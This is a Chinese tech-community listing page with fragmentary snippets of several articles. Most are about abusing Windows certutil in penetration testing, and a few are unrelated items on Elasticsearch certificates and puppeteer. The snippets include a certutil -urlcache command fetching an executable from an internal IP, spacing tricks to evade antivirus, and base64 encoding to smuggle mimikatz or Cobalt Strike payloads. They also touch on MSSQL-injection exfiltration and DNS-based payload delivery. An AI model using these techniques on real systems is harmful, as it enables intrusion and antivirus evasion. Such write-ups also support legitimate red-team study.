文档建议反馈控制台
首页
学习
活动
专区
圈层
工具
MCP广场
文章/答案/技术大牛
发布

certutil工具使用和bypass学习

官方的解释是： certutil.exe是一个命令行程序，作为证书服务的一部分安装。...您可以使用Certutil.exe转储和显示证书颁发机构（CA）配置信息，配置证书服务，备份和还原CA组件以及验证证书，密钥对和证书链。...Bypass 在我执行命令的过程中，发现了好多次被各种av拦截，所以在这里学习下如何bypass 在下面这个链接中 https://view.inews.qq.com/a/20220530A04RST00...在这里下载一个cmd.exe试试： certutil -urlcache -split -f http://192.168.22.102/cmd.exe 我的火绒没有对此进行任何的拦截操作。。。。...后来才发现，原来是我的空格问题，我在-spilt之前多空了一格： 空格两个，bypass 火绒：certutil -urlcache -split -f http://192.168.22.102/1

4.4K20

【免杀】certutil工具bypass杀软

0x00 前言 好久没更新文章了，前段时间在忙着毕设、考试等等诸多事宜。恰逢昨天在月总群里突然有人在window写shell的话题中聊到了certutil这个工具，且讨论起了些bypass的手段。...了解过certutil工具的师傅建议直接到0x02 0x01 关于certutil工具的介绍以及一些基础的用法 Certutil.exe是作为证书服务的一部分安装的命令行程序。...-- 显示该用法消息 CertUtil -? -- 显示动词列表(命名列表) CertUtil -dump -?...base64加解密 这个功能的话，在之前主要是因为拿到shell之后，因为各种原因限制了传输的大小，这时候一些人就会尝试用Certutil来对文件内容进行加密后分片传输。...360核晶(p1在虚拟机中测试的，p2物理机测试.虽然我物理机上是极速版360但是不影响的) 0x03 末尾 感谢各位师傅观看~~大家一起共同学习

1.7K10
    • 您找到你想要的搜索结果了吗？
    是的
    没有找到

    干货 | Certutil在渗透中的利用和详解

    渗透中主要利用其 下载、编码、解码、替代数据流 等功能。 这里我首先在命令行用certutil -?...certutil下载文件 一般我最常使用的certutil的功能就是在cmd环境下下载文件，因为certutil是windows自带的exe，所以在使用的时候会比其他exe或者vbs更加方便。...无值的命令行选项。（certutil.exe 下载有个弊端，它的每一次下载都有留有缓存。） 这里我在本地搭建一个http服务器，然后在配置了360的虚拟机cmd下进行下载 ?...这里我为了更好的还原环境，先与虚拟机建立ipc连接后用psexec得到了命令行的cmd环境 这里我用常规的命令进行下载exe文件的操作遭到了av的拦截 ? 如果超时没有操作的话就会显示拒绝访问 ?...我们知道在内网中需要用到内网代理，一般都会用到nps或者frp，但是如果碰到有杀软限制上传文件大小的情况，这时候我们就可以使用先用encode编码分块上传再使用decode解密。

    7.3K61

    干货 | Certutil在渗透中的利用和详解

    渗透中主要利用其 下载、编码、解码、替代数据流 等功能。 这里我首先在命令行用certutil -?...certutil下载文件 一般我最常使用的certutil的功能就是在cmd环境下下载文件，因为certutil是windows自带的exe，所以在使用的时候会比其他exe或者vbs更加方便。...这里我在本地搭建一个http服务器，然后在配置了360的虚拟机cmd下进行下载 这里我为了更好的还原环境，先与虚拟机建立ipc连接后用psexec得到了命令行的cmd环境 这里我用常规的命令进行下载exe...我们知道在内网中需要用到内网代理，一般都会用到nps或者frp，但是如果碰到有杀软限制上传文件大小的情况，这时候我们就可以使用先用encode编码分块上传再使用decode解密。...检验SHA256 这里比较上传前后mimikatz.exe的MD5值 certutil配合powershell内存加载 这里我在本地实验因为环境变量的原因报错，这里还是粗略的写一下大致实现过程 首先修改

    2.9K21

    文件上传的一个骚操作(低权限+BypassAV)

    此时下载文件的各种命令均被拦截： bitsadmin： ? certutil证书： ? 还会被杀软报警： ? powershell也会被彻底封杀： ?...此时，骚操作上场，windows自带的证书下载，也就是上文使用但远程下载被拦截的Certutil，还可用来对文件编码解码： 本地： Certutil -encode artifact.txt artifact.exe...后续可在命令中执行exe上线： cmd.exe /c art.exe 重点是：本地解码编码操作不会触发杀软拦截行为！...但是在navicat等数据库软件里操作的话还有一个限制，echo的长度会提示不要过长： ?...此时就要看各位师傅们在bypass WaF、AV时如何减小体量了，一般cs的马bypass后会在50k左右，使用sqlmap的—os-shell执行echo不会像navicat要求128字符那么短，但也有长度限制

    1.2K50

    Node.js 小打小闹之无头浏览器

    入坑篇 前线客服传来消息 — “用户反馈一打开我们的 App，就直接闪退了”，刚听到这个消息，我很吃惊，上一期发的新版本 QA 都有验证过。难道是因为功能权限的问题导致的，赶紧跟客服确认具体情况。...接下来我们立即针对闪退的客户重新打包，然后让公司客服与客户沟通，说明情况… 这个问题以后要如何避免？难道要安排专人，每天定时检查证书的有效性？最初的这个想法，其实我是拒绝的。...DOM 可以完全在内存中进行模拟既在 V8 引擎中处理而不打开浏览器，而且关键是这个是 Chrome 团队在维护，会拥有更好的兼容性和前景。...进入证书管理页面，获取指定类型证书（All、Pending、Development 或 Production）。 取得证书列表，以当天的时间点为每个证书计算即将过期的天数。...个人感觉 puppeteer 在以后的工作中，还会有很多用武之地，比如此前本人使用 puppeteer 实现了简单的业务功能测试。

    3.2K30

    干货 | windows安全基础及常用命令小结

    certutil 使用 certutil可用于在windows中管理证书，使用此程序可以在windows中安装，备份，删除，管理和执行与证书存储相关的各种功能。...根据windows中安装的应用程序的扩展名，该根键指明其文件类型的名称，相应打开文件所要调用的程序等等信息。 HEKY_CURRENT_USER 管理系统当前的用户信息。...在这个根键中保存了本地计算机硬件配置数据，此根键下的子关键字包括在SYSTEM.DAT中，用来提供HKEY_LOCAL_MACHINE所需的信息，或者在远程计算机中可访问的一组键中。...HKEY_USERS 管理系统的用户信息，在这个根键中保存了存放在本地计算机口令列表中的用户标识和密码列表。同时每个用户的预配置信息都存储在HKEY_USERS根键中。...HKEY_USERS是远程计算机中访问的根键之一。 HKEY_CURRENT_CONFIG 管理当前用户的系统配置。在这个根键中保存着定义当前用户桌面配置的数据，该用户使用过的文档列表。

    1.5K40

    【玩转腾讯云】排障coscli下载文件报nethttp: TLS handshake timeout 握手超时

    为了避免出现证书问题，建议使用coscmd ，在同地域cvm 、cos环境里，用http访问，效率高，没有证书相关问题。...，从windows xp时代就存在，在有问题的机器里，鬼使神差被删除了，导致访问cos https异常，假如机器有公网，访问cos https时会自动更新受信任的根证书列表安装对应站点的证书，但是有问题的机器正好没有公网导致了这种尴尬...c:\WURoots.sst .sst文件是放置.crt文件的"容器"，.sst文件在资源管理器里双击是能查看内容的 顾名思义，看certutil的generateSSTFromWU参数，就是从ctldl.windowsupdate.com...cmd执行c:\updroots.exe c:\WURoots.sst 或者进到目录执行 cd /d c:\ updroots.exe WURoots.sst 图片.png updroots.exe我放置到...图片.png 如果想系统、深入了解windows的可信任根证书列表更新的情况，可以看下这篇文档：http://woshub.com/updating-trusted-root-certificates-in-windows

    5.6K184

    ES 安全认证模块之XPack

    具体查看官方文档相关配置项也在官方文档中, ES版本是8.2.3,环境windows server2012 R2 1、创建证书颁发机构  cmd定位到es运行时(bin)目录输入以下命令 elasticsearch-certutil...ca 提示输入密码和文件输出路径,可以直接回车,也可以输入密码和输入自定义存放路径进行设置.回车的话,会生成如下文件  后缀为ca的证书颁发机构文件 2、为节点创建证书文件  cmd定位到es运行时...都存放key,不同的地方是truststore只存放公钥的数字证书,代表了可以信任的证书,keystore存放私钥相关. cmd定位到es运行时(bin)目录输入以下命令 elasticsearch-keystore...,需要输入这个密码.这里不做输入回车,操作完成之后,相关的信息就会写入到config文件夹下的elasticsearch.keystore中 4、修改配置文件修改Xpack相关信息 打开elasticsearch.yml...,这里默认读取的是config文件夹下,所以需要拷贝一下. 5、集群环境 需要将操作节点生成的证书文件复制到其余节点的config目录下. 6、运行 按上述配置结束完毕之后,在操作节点重置elastic

    2.2K30

    MSSQL注入之无回显利用实战案例

    0x01 前言 @Tooshy丶师傅发来的一个MSSQL堆叠注入，测试中遇到一些问题，让我帮着看下能不能写Webshell或者直接反弹Shell？...注：这个案例是他在Hw中打的一个点，所以就不用这个站来配图了，也懒的再去打码（狗命要紧），所以是在他拿到了这个入口权限后在本地模拟这个场景来进行测试的，这样也能便于我们详细记录整个过程。...我们在本地测试没有问题，但是在实战中失败了，可能是还存在有其他什么安全防护软件。...(4) 查看杀软进程 执行以下命令可以将目标主机正在运行的进程列表给外带出来，在确定没有安全防护软件的情况下可以直接将CS/MSF文件落地到磁盘执行上线，不过也得注意上边提到的cmd /c、| 转义和空格等问题...实战中还得根据自己所遇到的场景选择更为简单高效的方式来获取目标主机权限，如：能出网时直接远程执行上线，有防护时再免杀落地上线，不出网时再写入Webshell等，更多相关文章可以去看我之前写的。

    3.7K10

    远程下载的通用替代方案 ｜ 红队攻防

    ，虽然带着我们的 flag 字符 exec ,后期我们再想办法把它去掉 对载荷进行拼接 如果是Linux，可能20分钟我就搞定了，但是 Windows 中愣是耗费了我两天时间 在 Windows cmd...包大小限制 上一个大坑解决以后，我以为可以任意字符写入了，最终在搞定了其他条件后，测试的时候发现，一个 70k 的程序 base64 后的结果填充到 TXT 记录后，重启DNS服务怎么也启动不起来，我这才意识到...，可能 BIND 自己也有一定长度字符限制，通过 fuzz 我也找到了 BIND 最大的字符限制，大概 60000多 为啥我没有记得这么清晰呢？...命令中，如果你不开启延时变量，变量的值在循环过程中是不会变化的，在批处理中可以使用 setlocal EnableDelayedExpansion 进行开启延时变量，在 cmd 命令中需要使用 cmd...这种形式 cmd 命令中关闭命令本身 echo cmd /Q 这个大家自行体会一下就可以了 cmd 命令中 for 命令边界问题 很难想象，在 cmd 中 for 命令是没有边界的，至少是我没有发现 什么叫没有边界呢

    2K11
    点击加载更多

    相关资讯

    热门标签

    更多标签

    活动推荐

      运营活动

      活动名称
      广告关闭

      腾讯云开发者

      扫码关注腾讯云开发者

      扫码关注腾讯云开发者

      领取腾讯云代金券

      热门产品

      热门推荐

      更多推荐

      Copyright © 2013 - 2026 Tencent Cloud. All Rights Reserved. 腾讯云 版权所有

      深圳市腾讯计算机系统有限公司 ICP备案/许可证号：粤B2-20090059 粤公网安备44030502008569号

      腾讯云计算（北京）有限责任公司 京ICP证150476号 | 京ICP备11018762号

      领券